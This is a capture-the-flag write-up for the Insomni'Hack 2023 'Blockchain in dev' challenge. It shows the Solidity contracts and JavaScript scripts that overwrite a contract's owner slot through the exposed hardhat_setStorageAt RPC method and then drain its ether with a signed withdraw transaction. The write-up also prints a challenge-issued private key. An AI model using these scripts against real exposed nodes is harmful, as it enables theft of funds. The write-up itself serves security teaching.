Blockchain in dev
[Insomni'Hack, 2023]
Contracts
Challenge
We get one challenge contract, and want to get all value of it out of the contract. We also receive a address (including private key) on the chain which we can use to sign transactions.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.1;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Challenge is Ownable{
constructor() payable {
require(msg.value == 100 ether,"100ETH required for the start the challenge");
}
function withdraw(address payable beneficiary) public onlyOwner {
beneficiary.transfer(address(this).balance);
}
}
We also get the setup contract, as well as it's address.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.1;
import "./Challenge.sol";
contract Setup {
Challenge public chall;
constructor() payable {
require(msg.value >= 100, "Not enough ETH to create the challenge..");
chall = (new Challenge){ value: 50 ether }();
}
function isSolved() public view returns (bool) {
return address(chall).balance == 0;
}
}
The challenge description mentions that the blockchain was deployed using hardhat.
Solution
First we want to get the address where our challenge contract was deployed. This can be done by retrieiving storage(0) of the setup contract.
const Web3 = require('web3');
// create a new instance of the web3 object
const web3 = new Web3('https://blockchainindev.insomnihack.ch:32889');
// set the address of the contract
const contractAddress = '0x444A7432CCb1F393Ac6c5642298F403E32128F0a';
// call the getStorageAt() function to retrieve the value stored at index 0
web3.eth.getStorageAt(contractAddress, 0, (error, result) => {
if (error) {
console.error(error);
} else {
console.log('Challenge:', result);
}
});
Then it's also helpful if we can check for what the owner of the challenge currently is to be able to debug.
const Web3 = require('web3');
// create a new instance of the web3 object
const web3 = new Web3('https://blockchainindev.insomnihack.ch:32915');
// set the address of the contract
const contractAddress = '0xbd3333aa8b94e3eb97cdf6638676bbbfcfdb9bc6';
// call the getStorageAt() function to retrieve the value stored at index 0
web3.eth.getStorageAt(contractAddress, 0, (error, result) => {
if (error) {
console.error(error);
} else {
console.log('Owner:', result);
}
});
After some groundwork we can start exploiting. The idea I had, which also was the exploit in the end, was that we could leverage some hardhat functionality to change the blockchain data as we want. I used the setStorageAt() function to just overwrite the owner of the challenge contract, so we can easily drain it.
const { ethers } = require('hardhat');
const provider = new ethers.providers.JsonRpcProvider('https://blockchainindev.insomnihack.ch:32915');
const toBytes32 = (bn) => {
return ethers.utils.hexlify(ethers.utils.zeroPad(bn.toHexString(), 32));
};
const setStorageAt = async (address, index, value) => {
await provider.send("hardhat_setStorageAt", [address, index, value]);
await provider.send("evm_mine", []); // Just mines to the next block
};
(async () => {
await setStorageAt(
"0xbd3333aa8b94e3eb97cdf6638676bbbfcfdb9bc6",
"0x0",
"0x000000000000000000000000133756e1688E475c401d1569565e8E16E65B1337"
);
})();
When we have overwritten the owner we can easily drain it. Script below:
const Web3 = require('web3');
const abi = require('./abi.json');
const privateKey = '0xedbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3';
const account = '0x133756e1688E475c401d1569565e8E16E65B1337';
const contractAddress = '0xbd3333aa8b94e3eb97cdf6638676bbbfcfdb9bc6';
const recipientAddress = '0x133756e1688E475c401d1569565e8E16E65B1337';
const rpcUrl = 'https://blockchainindev.insomnihack.ch:32915';
const web3 = new Web3(rpcUrl);
const contract = new web3.eth.Contract(abi, contractAddress);
async function withdraw(recipient) {
const nonce = await web3.eth.getTransactionCount(account);
const gasPrice = await web3.eth.getGasPrice();
const functionAbi = contract.methods.withdraw(recipient).encodeABI();
const txParams = {
to: contractAddress,
data: functionAbi,
gasPrice: gasPrice,
gas: 100000, // Add the gas parameter with a value of your choice
nonce: nonce
};
const signedTx = await web3.eth.accounts.signTransaction(txParams, privateKey);
const txReceipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
console.log(`Transaction Hash: ${txReceipt.transactionHash}`);
}
withdraw(recipientAddress);
--> Flag